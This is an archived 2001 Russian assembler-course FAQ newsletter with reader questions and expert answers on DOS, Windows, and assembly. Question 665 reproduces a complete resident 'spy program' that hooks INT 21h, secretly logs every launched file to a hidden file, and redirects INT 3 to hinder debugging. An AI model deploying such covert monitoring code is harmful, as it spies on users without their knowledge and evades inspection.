Рассылка закрыта
При закрытии подписчики были переданы в рассылку "RFpro.ru: Ассемблер? Это просто! Учимся программировать" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
Ассемблер? Это просто! Учимся программировать (FAQ)
Ассемблер? Это просто! Учимся программировать (FAQ)
Выпуск N 074 |
Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"
Дата выхода: 2001-08-27
В первую очередь хотелось бы выразить благодарность ВСЕМ экспертам, которые дают ответы на вопросы, присылаемые подписчиками! ОГРОМНОЕ всем вам СПАСИБО за то, что рассылка не умирает, а живет и потихоньку процветает!!!!
Сейчас немного о том, почему меня нет в Сети так долго. К сожалению, у меня проблемы с постоянным выходом в Интеренет. Дома, как я уже неоднократно писал, очень плохая АТС, выходить в Интернет с которой практически нереально (5 - 10 байт в секунду качает!). Вот и приходится иногда бегать по разным интерент-кафе, дабы посмотреть, что хоть происходит в мире, на сайте, в рассылках и т.п. Очень надеюсь, что в самое ближайшее время мы с вами продолжим виртуальное общение, которое было раньше...
Встретил в одной из рассылок жалобу на то, что в форме не печатаются пробелы. Друзья мои! Я уже писал об этом. Проблема вовсе не в форме подачи вопроса, а скорее всего в самой ОС либо в программах типа OutLook. Форма имеет абсолютно стандартные тэги (в этом можно убедиться, если посмотреть рассылку в HTML-кодах). К сожалению, я так и не могу сказать, почему это происходит. Сам никогда в жизни с этим не сталкивался...
Что еще сказать? Вроде пока все! Если у вас будут какие-нибудь вопросы, то можете обязательно звонить мне по телефону в Москве: 492-23-53. Буду рад услышать вас и пообщаться...
За все баллы, которые заработали эксперты, будут даваться определенные призы (пока не такие громкие, но скоро будут покруче!) (см. Правила).
Итоги будут подводиться, когда я смогу попасть в Сеть и просмотреть все. Извините, что заставляю вас ждать...
До скорого, друзья мои!
Вопрос №657
Не подскажите как сделать так, чтобы во время запуска MSDOS
в COMMAND Prompt или после перезагруки в режиме MSDOS, сразу же автоматически открывалась какая-либо Досовская оболочка (NC, VC, DN)?
Ответ
Здравствуйте, Speedy Gonsalez!
Добавьте в файл autoexex.bat соответсвующую строку, например для NC строку:
c:\nc\nc.exe, где c - диск где установлен NC
С уважением, Евгений!
Отправил эксперт: Evgeny
Эксперт отправил ответов (всего): 14
Экспертная группа: Пользовательская работа c DOS
Вопрос №629
Уважаемые эксперты я на днях попробовал программу у себя установить
так называемая sistem comander и что то я там наверно наделал, в общем
то, что у меня изчес один логический диск - диск C:\ никакими прогами
не видит а Fdisk 'ом нечего не получилось. На винте у меня осталось
важные доки, не могли бы вы мне помочь в это ерунде.
Ответ
Здравствуйте, Алексей!
Если можно, то поподробней пожалуйста, какия разделы видит fdisk? Или попробуй partition magic.
Отправил эксперт: Роман
Эксперт отправил ответов (всего): 26
Экспертная группа: Пользовательская работа c DOS
Вопрос №636
Здравствуйте, уважаемые эксперты.
Решил недавно написать резидент для псевдо-русификации символов на экране. Т.е. русскую "В" он бы заменял на английскую "B". Вроде бы написал, вроде бы он работает. Но не так, как надо. Дело в том, что он все символы кириллицы, для которых я предусмотрел изменение, переводит в один из нескольких символов из общей (международной) части таблицы ASCII. Вобщем, вместо русских букв - мусор. Помогите разобраться.
Ответ
Здравствуйте, Сергей!
Почему ты считаешь что xlat работает с сегментом cs???
Вообще-то эта команда работает с ds, который у тебя указывает на 0b800h. неправильно... написал бы тогда xlat cs: по идее должно сработать. эта команда поддерживает смену сегмента.
И еще... мне не кажеться очень хорошей идеей использовать в качестве детектора загрузки прерывание 1ch... это прерывание по моему вызывается из int 8 как пользовательское прерывание обработки таймера.
Отправил эксперт: Dron (http://spawnhole.narod.ru/asmos/asmos.html - Операционная система с нуля!)
Эксперт отправил ответов (всего): 77
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №655
Завал.
материнская ASUS на VIA.... 133M(больше ни чего не известно)
Проблема переставить Windows.
Она вследующем, хотелось бы все смахнуть форматом, но при загрузке с загрузочноЙ дискеты через CD(РЕАНИМАТОР), не видно диска С: (он всего один, это я про винт).
Мастером установлен винт,SECONDARY SLAVE CD, на
CD выхожу нажатием F4 при инициализации дисководов.
ПРи запуске скандиска в DOS выявляется ошибка, которую
предлагается устранить в WINDOWS, в WINDOWS при запуске скандиска выходит сообщение о нехватке памяти, и предлагается выключить программы лишние.
Из папки АВТОЗАПУСК выкинул все, но какие то программы где-то прписались и грузятся при запуске, отключаю через
CTR-L ALT DEL. Памяти все равно не хватает.
Опасения. Если форматну диск, я не увижу ВИНТ, не куда будет
WINDOWS ставить:-))
И еще, все дисковые утилиты запускаемые через загрузочную
дисету не видят жесткого диска.
При перезапуске в режиме MS DOS грузится Norton и он не видит жесткого и так же CD.
ВОпросы.
Где еще прописываются программы, есть какая то программа
в Windows которая показывает все проги прописаные в Аутоекзеке, там говорят птички раставить можно, и оперативно
скоректировать Аутоекзек.
И еще, постоянно при загрузке выходит окно для ввода пароля
пользователя, окно для ввода пароля не активно.
Я файл пользователь.pwl удаляю, но при повторном запуске,
перезапуске окно вновь появляется.
ПРям беда, как все таки Windows переставить, он уже больше года стоит, глюки всякие.
Поставил NU2000, каждый раз все находят и находят
ошибки.
Дефрагментация 63%, запустил SpidDisk? А он при достижении
ОПТИМИЗИРОВАНО 18-19% останавливается, или делает вид, что стоит, обращения к ВИНТУ кратковремнны.
Помогите добрым советом победить этого зверя,BIOS мне не
знаком, единственное в нем есть ФИШКА проводить UPDATE.
Вроде сейчас такого не делают.
Хотя-бы помогите "Увидеть" жесткий с загрузочной дискеты.
Ответ
Здравствуйте, Oleg!
Дааа!друг ты попал!!!
Были у меня такие заморочки...
1)?а сколько у тебя оперативки?
2)Какой Win?- советую Win98 4.10.222 + своя оптимизация...
3)Bios какой?
4)Ответ :
1.достань загрузочную дискету Dos 6.22 c драйверами для CD- С:\-точно увидит!!- затем с дистрибутива ставишь Win в другой каталог!
2.Сделай загрузочную Windows
3.Bios тут почти не причём
4.NU хорошая вещь...но с глюками(сам нашёл!)
5.Насчёт окна для пароля-> В панели управления-пароли-вход в Windows
есть некоторые опции..
6.Изменив их должным образом при загрузке появится окно для пароля(может быть)- введи имя ,а место пороля оставь свободным!-при следующей загрузке данное окно не появится!
7.А всё таки советую такой алгоритм
1)Сделать загрузочную дискету Windows(если надо format...)
2)Скопировать дистрибутив Win на винт..
3) Поставить Win98 в иной каталог
4) Поставить NU2000
5) Понаставить антивирусов
6)каждый месяц переставлять Win
7) каждую неделю Scandisk
Желаю удачи!
Отправил эксперт: Michael
Эксперт отправил ответов (всего): 14
Экспертная группа: Пользовательская работа с Windows
Вопрос №658
>>Во-первых F0 0F C7 C8 не lock cmpxchg8b ax , а lock >>cmpxchg8b qword ptr ax
Я не пробовал компилить эту команду - просто посмотрел в HIEW - там qword ptr нету...
>>qword - это ничто иное как учетверЈнное слово
ну это, наверное, всем понятно
>>а команда qword ptr ax указывает что в ax находится >>учетверЈнное слово вот собственно и всЈ
Эксперты а как это в AX может находиться QWORD???
Откомпилить эту команду под Виндой мне не удалось(MASM) - ни с qword ptr, ни без него... а TASM снес давненько... за ненадобностью :(
Я маленько про эту команду не догнал - почему не cmpxchg8b [ax], а cmpxchg8b qword ptr ax ??? Я, конечно, понимаю, что адресация в нормальных командах через bx, но все же.
Ответ
Здравствуйте, MB!
Скорее всего
db 66h
ax->32bitстановится (в Tasm вроде)
eax используй!
Отправил эксперт: Michael
Эксперт отправил ответов (всего): 15
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №656
Broken SWORD, не подскажите чуть поподробней о приведённом вами алгаритме перевода часов:
mov ah,al
and al,0Fh \\----?
shr ah,4 \\---?
or ax,3030h \\---?
И как вывести содержимое регистра AX на экран?
Ответ
Здравствуйте, Speedy Gonsalez!
Насчёт вывода на экран- смотри рассылки!
если не ошибаюсь...
Отправил эксперт: Michael
Эксперт отправил ответов (всего): 16
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №659
Hi,
Посоветуйте прогу которая в большом ASM исходнике может отыскать куски повторяющихся N строк кода, дабы их потом можно было оформить в виде подпрограммы. Заранее спасибо.
Ответ
Здравствуйте, Dxover!
Советую поискать в инете на Listsoft.ru
А так...смотри Debuggerom- вручную надёжнее!
Желаю удачи!
Отправил эксперт: Michael
Эксперт отправил ответов (всего): 17
Экспертная группа: Оптимизация программ
Вопрос №662
Уважаемые эксперты,
Вот уже второй (или третий) день как я воюю с своей звуковушкой
Acer Magic S23. Я еЈ не спалил - это радует, но в недавних пор win'98
(да и osr2 тоже) на загрузке, если драйвера не установлены, обнаруживает
только первое логическое устройство из четырЈх (_codec_,opl3,4232_CTRL,
ide-контроллер), но после в Мой комп->система пишет что этому
устройству bios неправильные ресурсы передаЈт (а вручную их поставить-
закладочки нет). ПричЈм в дос'е и в эмуляции всЈ работает.
Вот отчего это, возможно произошло: копался с запоротым винтом приятеля
и помимо остального использовал программку Disk Manager 2000 (9.xx -
она же) запускал еЈ с дискетки - всЈ чин-чинарЈм. И вот я там в ручном
режиме в опциях cmos поменял disk type с 0 на, кажется, 80, потом,
через какое-то время, на ноль обратно. В процессе всего этого комп мой
стал перед загрузкой простаивать (т.е. до того как видеоадаптер
заработает, и монитор из stand by перейдЈт в idle) где-то секунду,
иногда две.
В заключении добавлю, что конфигурация компа не совсем обычная:
P5-100 с 40-гиговым винтом, повешанным на pci-контроллер CMD-649U;
После его установки звуковушка на pnp не всегда правильно настраивалась,
но при отмене pnp и ручном указании ресурсов всЈ и даже везде заботало
отлично.
Заранее с благодарностью.
COLD Endeed.
Ответ
Здравствуйте, COLD Endeed!
Возможно,ты сврй Sound подпалил своими экспериментами...-
или некоторые драйвера Windows слишком часто глючить
Scandisk-FULL NU пройдись..антивирусами,переставь драйвера,а если не поможет,то
Радикальный способ- format...другие шлеёфы...
С Disk Manager 2000 не раотал (случайно не Microsoft ?)
Cоветую использовать проверенные временем проги!
Желаю удачи!
Отправил эксперт: Michael
Эксперт отправил ответов (всего): 18
Экспертная группа: Модели, виды и типы компьютеров (hard)
Вопрос №645
Уважаемые эксперты у меня к вам будет два вопроса:
1)Допустим на локальной сети висят 7 юзеров и
работают в инете, можно ли каким то образом сделать
так чтобы скорость модема почти полностью перишла к
тебе, а то очень тормозит!!! /// модем цифровой, с наваротами
правда модель не знаю какая///
2) Есть ли какие нибудь проги, чтобы по модему можно
было залазить на чужой винт (в общем как работаешь в
локальной сети) или как ни будь проги, чтобы
общаться по модему через
клаву Please пришлите мне такие проги на vorobev@nm.ru
Ответ
Здравствуйте, Алексей!
Самое простое- отключить этих юзеров :)))
Нефига им в инете делать, когда Вы там :)))
Для общения по момеду самое простое воспользоваться гипертерминалом из стандартных прог для Выни (там и файлами можно обмениваться.
Отправил эксперт: Roman
Эксперт отправил ответов (всего): 2
Экспертная группа: Пользовательская работа с Windows
Вопрос №661
Здравствуйте, уважаемые эксперты!!!
Расскажите с помощью какой функции (API) можно создать файл и организовать к
нему доступ (Чтение, Запись, Создание, Удаление, добавление записи)
Ответ
Здравствуйте, Дмитрий!
В WinAPI есть замечательная функция CreateFile. С помощью данной функции можно и создать новый файл, и открыть для модификации/только для чтения, и открыть файл с нужным режимом доступа (для монопольного использования или совместного и т. д.)
Отправил эксперт: $erge$
Эксперт отправил ответов (всего): 1
Экспертная группа: Общие вопросы по программированию на Ассемблере под Win32
Вопрос №663
Как вставить в паскаль-прогу асмовскую процу и чтобы туда
какой-нить параметр входил и выходил!!!
Нужен пример - маииинький
Ответ
Здравствуйте, Дмитрий!
Держи простенькие процедурки работы с мышей
Приложение:
Отправил эксперт: Sensey
Эксперт отправил ответов (всего): 89
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №663
Как вставить в паскаль-прогу асмовскую процу и чтобы туда
какой-нить параметр входил и выходил!!!
Нужен пример - маииинький
Ответ
Здравствуйте, Дмитрий!
function myf(a:integer):integer; assembler;
var x,y:word;
asm
;операторы асма
end;
параметры ищи в стeке.
Возвращаемое значение помещать в:
AL - Byte,Char; AX - Integer,Word; DX,AX - Pointer,Longint;
DX,BX,AX - real; ST(0) - single,double,extended,comp;
а строковые - в области памяти, на которую ссылается метка @Result.
good luck!
Отправил эксперт: Event
Эксперт отправил ответов (всего): 8
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №663
Как вставить в паскаль-прогу асмовскую процу и чтобы туда
какой-нить параметр входил и выходил!!!
Нужен пример - маииинький
Ответ
Здравствуйте, Дмитрий!
function myf(a:integer):integer; assembler;
var x,y:word;
asm
;операторы асма
end;
параметры ищи в стeке.
Возвращаемое значение помещать в:
AL - Byte,Char; AX - Integer,Word; DX,AX - Pointer,Longint;
DX,BX,AX - real; ST(0) - single,double,extended,comp;
а строковые - в области памяти, на которую ссылается метка @Result.
good luck!
Отправил эксперт: Event
Эксперт отправил ответов (всего): 9
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №664
Дизассемблирую програмку TurboDebagerom.Сразу первые строки:
mov ax,03B7
mov dx,01FF
add ax,21FB
cmp ax,[0002]
jnb 0129
......
По адресу 0129 вывод сообщения: "Нет достаточно памяти"
в ячейке 0002 число 9FD6.
Вопрос: как же тут все-таки вычисляется доступная память, откуда берется это 9FD6?
Ответ
Здравствуйте, Вал.Ик.!
ИМХО, здесь идет обращение к PSP, а там по смещению +2 записан параграф, следующий за программой.
Очевидно, автор резервирует 21FB байт для своих нужд- типа вызвать субпроцесс(?)...
Отправил эксперт: Sensey
Эксперт отправил ответов (всего): 90
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №664
Дизассемблирую програмку TurboDebagerom.Сразу первые строки:
mov ax,03B7
mov dx,01FF
add ax,21FB
cmp ax,[0002]
jnb 0129
......
По адресу 0129 вывод сообщения: "Нет достаточно памяти"
в ячейке 0002 число 9FD6.
Вопрос: как же тут все-таки вычисляется доступная память, откуда берется это 9FD6?
Ответ
Здравствуйте, Вал.Ик.!
При старте программы ds как и es у нас всегда указывают на psp
(Program segment prefix)
по смещению 2 там храниться сегментный адрес, на котором заканчивается облась памяти, выделенная программе. (надеюсь что ясно излагаю?)
Командой add ax, 21fb мы определяем необходимую для программы память.
А потом сравниваем с этим верхним адресом доступной памяти. если выходим за него, значит памяти не хватает!
Отправил эксперт: Dron (http://spawnhole.narod.ru/asmos/asmos.html - Операционная система с нуля!)
Эксперт отправил ответов (всего): 78
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №666
Привет эксперты!
Кто-нить пользуется TheBat?
Если да то скажите почему при заполнении формы,
причем все поля нормально заполнены, не работает кнопка отправить.
В оутглюке все работает.
Помогите советом.
За сим прощаюсь, ZIPPER.
Ответ
Здравствуйте, Zipper!
Бат не любит ХТМЛ :), показывать показывает а вот команды всякие не выполняет, по тому (и не только) считается покруче чем продукт от M$
Отправил эксперт: Roman
Эксперт отправил ответов (всего): 4
Экспертная группа: Пользовательская работа с Windows
Вопрос №666
Привет эксперты!
Кто-нить пользуется TheBat?
Если да то скажите почему при заполнении формы,
причем все поля нормально заполнены, не работает кнопка отправить.
В оутглюке все работает.
Помогите советом.
За сим прощаюсь, ZIPPER.
Ответ
Здравствуйте, Zipper!
У меня такая лажа тоже бывает, но редко, тогда просто сначала надо отправить письмо в папку отправки, а затем оттуда высылать ..
А из-за чего это - наверное недоделки производителя!
Отправил эксперт: Orlando
Эксперт отправил ответов (всего): 43
Экспертная группа: Пользовательская работа с Windows
Вопрос №665
Уважаемые эксперты я бы хотел чтобы вы прокоментировали как можно подробние эту программу.
; === Начало программы: ===
286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
Begin:
jmp Init ; на метку инициализации
; === Обработчик 21h-ого прерывания ===
Int_21h_proc proc
cmp ax,9889h
jne Next_step
xchg ah,al
iret
Next_step:
pusha ;Сохраним регистры...
push ds
push es
mov bx,ds ;BX=DS
push cs ;Настроим сегментные регистры
push cs
pop es
pop ds
cmp ax,4B00h ;Это запуск файла на выполнение?
je Start_f
jmp short Go_21h ;Если что-то другое, то передадим управление 21h-ому...
Start_f:
mov si,offset Start_filemess ;Строка для записи в наш log-файл.
call Move_string ;Готовим строку и записываем ее в файл...
jmp short Go_21h ;Передадим управление 21h-ому прерыванию...
Go_21h:
pop es ;Восстановим регистры...
pop ds
popa
jmp dword ptr cs:[0FCh] ;Передаем управление 21h-ому
Int_21h_proc endp
;=== Переносим строку и пишем информацию в файл ===
Move_string proc
mov di,2 ;DS:SI указывают на строку
;ES:DI - на место в памяти, где будет формироваться строка...
lodsw ;Получим длину строки (первый байт строки)
mov cx,ax ;Длину строки в CX
rep movsb ;Переместили строку по адресу ES:DI (Текущий сегмент:0002h)
push ds
mov ds,bx ;DS указывает на сегмент, где находится имя файла
mov si,dx ;SI - на смещение
Next_char:
lodsb ;Получаем очередной символ
or al,al ;Это конец строки с именем файла? Проверка на 0...
jz Zero_found
stosb ;Если еще не конец - заносим его в нашу формирующуюся строку
jmp short Next_char ;Следующий символ...
Zero_found:
pop ds ;Имя файла перенесли! Восстановим DS.
mov ax,0A0Dh ;Добавим возврат каретки/перевод строки.
stosw
dec di
dec di
mov word ptr cs:[0],di ;Занесем по 0-ому смещению длину готовой строки
call Save_file ;Запишем готовую строку в наш log-файл...
ret
Move_string endp
;=== Пишем в файл ===
Save_file proc
call Check_file ;Проверим, существует ли наш log-файл или нет...
mov al,02h ;Открываем файл для чтения/записи
call Open_file
mov ax,4202h ;Устанавливаем указатель на конец файла
xor cx,cx
xor dx,dx
int 3
mov ah,40h ;Функция записи в файл
mov cx,cs:[0] ;Количество записываемых байт
mov dx,2 ;Откуда будем писАть (DS:DX)
int 3
call Close_file ;Закрываем файл...
ret
Save_file endp
;=== Проверяем: существует ли нужный файл ===
Check_file proc
xor al,al ;Пробуем открыть наш log-файл
call Open_file
jnc File_exists ;Если файл существует, то на метку File_exists
; === Атрибуты файла ===
;00001 - только чтение
;00010 - спрятанный
;00100 - системный
;01000 - метка тома
;010000 - подкаталог
;100000 - архивный
mov ah,3Ch ;Если файл не существует, то создадим его.
mov cx,00010b ;Атрибут: архивный, спрятанный
mov dx,offset File_name ;DS:DX указывают на имя файла
int 3
jc Error_create ;Ошибка?..
mov Handle,ax ;Если успешно создали, то запомним номер файла
File_exists:
call Close_file ;Закрываем файл...
Error_create:
ret
File_name db 'C:\gurnal.txt',0 ;Наш log-файл
Check_file endp
;=== Открытие файла ===
Open_file proc
mov dx,offset File_name
mov ah,3Dh
int 3
jc Error_open
mov bx,ax
mov Handle,ax
Error_open:
ret
Handle dw 0FFFFh
Open_file endp
;=== Закрытие файла ===
Close_file proc
pusha
pushf
cmp Handle,0FFFFh ;Нечего закрывать?..
je No_close
mov ah,3Eh
mov bx,Handle
int 3
mov Handle,0FFFFh ;Закрываем и отмечаем, что нет открытых файлов...
No_close:
popa
popf
ret
Close_file endp
;--- Сообщения резидента ---
Start_filemess dw Start_filemessl
db 'Запуск файла ---> '
Start_filemessl equ $-Start_filemess-2
; === Инициализация (подготовка и настройка резидента) ===
Init:
mov ax,9889h ;проверим, в памяти ли мы уже или еще нет
int 21h
cmp ax,8998h
jne Set_resident
mov ah,9 ;если в памяти, то выведем соответствующее сообщение
mov dx,offset In_memory
int 21h
ret ;...и вернемся в DOS
Set_resident: ;если нас в памяти нет, то установим наш резидент
; 21h-ое...
mov ax,3521h
int 21h ;получим и сохраним адрес (вектор) 21h прерывания
mov word ptr cs:[0FCh],bx
mov word ptr cs:[0FEh],es
mov ax,es ;Установим старый вектор 21h-прерывания на 3...
push 0 ;(вырубим отладчик)
pop es
mov es:[3*4],bx
mov es:[3*4+2],ax
mov ax,2521h
mov dx,offset Int_21h_proc
int 3 ;"повесим" нашу процедуру на 21h прерывание
call Check_file ;А есть ли наш log-файл?
mov ah,9
mov dx,offset Mess_hello
int 21h
mov dx,offset Init
int 27h ;оставим программу резидентной в памяти.
In_memory db 'Программа-шпион уже есть в памяти$'
Mess_hello db 'Программа-шпион загружена в память$'
cseg ends
end Begin
И если не сложно сделауте так чтоб в текстовый файл "журнал" записовалась еще и время/дата запускаемого файла.
Ответ
Здравствуйте, fagot!
Ну коментариев по данной проге предостаточно, а если она для тебя трудна, то посмотри ниже на прогу, она попроще и для вывода даты и имени открываемого файла использует DTA. Разберешься с этой, не составит труда разобраться и с программой Калашникова О.А.
И в следующий раз программу пиши в поле программ..
Приложение:
Отправил эксперт: Orlando
Эксперт отправил ответов (всего): 44
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №644
Доброго времени суток коллеги.
Типа вот такой детский вопрос возник. Имеется (точнее пока не имеется) резидент, который при ВВОДЕ ОПРЕДЕЛЕННОГО СИМВОЛА (',') допихивает в буффер клавы еще несколько символов. Внимание вопрос:
Куда его лучше повесить (трабла в том что везде блин скан коды)?
Как считать код символа (ASCII), а не скан код в теле резидента?
Заранее спасибо.
Ответ
Здравствуйте, Painbringer!
Повесь его на помоему 9 помоему прирывание (клавиатуры)
Выполняйся не до, а после прирывания, дай ему сделать свое грязное дело
После в биосе есть буфер клавы, 16 символов, вот туда и пихай свой текст, а также и читай аски код нажатой кнопки.
вот примерно все
Отправил эксперт: VD (www.chat.ru/~vdragon_pas/index.htm - Программирование графики на Пакаль со вставками на)
Эксперт отправил ответов (всего): 39
Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS
Вопрос №634
УВАЖАЕМЫЕ ЭКСПЕРТЫ!
Огромное всем СПАСИБО. Но, судя по ответам, моим файлам – ХАНА!
Вчера был на Савке (в Савелово), где получил несколько иную информацию.
Естественно, приоритет отдаю Вам и только Вам.
Но, к сожалению, у меня нет возможности работать на другой машине, пашу на своей, а значит – гублю свои утерянные папки бесповоротно и окончательно…
Есть копия проги трехлетней давности, но это сравнимо с каменным веком, и все придется начинать сначала. А все статьи и все-все (ведь это наука) полетело к чертовой матери.
Хотя, сегодня попытаюсь что-то сделать. Интернет - ночной, ответы только-только получил, за что - тысячу раз спасибо. Участие и доброе слово и кошке приятно...
За сим остаюсь с уважением ко всем, Николай.
Ответ
Здравствуйте, Николай!
Ради науки можно было бы купить какоенибудь BackUp устройство или CDRw привод, который счаз довольно недорого стоит, и скидывать все свои труды на CDR или CDRW балванки.
И главное, каждое письмо это ве больше и больше бесследно уничтоженных файлов на твоем винте :)
Да еще, если ты пользовался программой скандиск, то она могла создать файлы на винте в корне, в которые записала бы потеренные кластеры, может они там еще и лежат, просмотрев их может тебе еще удастся вытащить куски, а то и весь текст своей программы.
Отправил эксперт: VD (www.chat.ru/~vdragon_pas/index.htm - Программирование графики на Пакаль со вставками на)
Эксперт отправил ответов (всего): 41
Экспертная группа: Пользовательская работа с Windows
Подписаться на рассылки
Форма подачи вопроса
ВНИМАНИЕ!!! Пожалуйста, НЕ высылайте один вопрос сразу нескольким подгруппам! Дополнения к вопросам, на которые эксперт уже ответил НЕ следует направлять ведущему рассылки (я не успеваю!). Просто скомбинируйте первый вопрос и дополнение к нему, а затем заново отправьте его, используя приведенную ниже форму!Нажимайте кнопку "Отправить" только ОДИН раз и дождитесь полной загрузки страницы, иначе вопрос будет продублирован!
Регистрация в качестве эксперта
Архив выпусков
Ведущий рассылки,
Калашников Олег:
Assembler@Kalashnikoff.ru
ICQ No.: 68951340
URL сайта подписчиков:
http://www.Kalashnikoff.ru
______________
По вопросам сотрудничества, рекламы и спонсорства обращайтесь:
- Публичное размещение материала из рассылки: Cooperation@Kalashnikoff.ru
- Реклама на сайте, в книге и рассылках: http://www.Kalashnikoff.ru/Reklama.html, Reklama@Kalashnikoff.ru
- Издание книги (спонсорство): Sponsor@Kalashnikoff.ru
(C) Москва, 2001. Авторское право принадлежит Калашникову О.А. Публичное размещение материала из рассылки, а также его использование полностью или частично в коммерческих или иных подобных целях без письменного согласия автора влечет ответственность за нарушение авторских прав. |
Реклама на сайте Kalashnikoff.ru
http://subscribe.ru/
E-mail: ask@subscribe.ru |
Отписаться
Убрать рекламу | Рейтингуется SpyLog |
В избранное | ||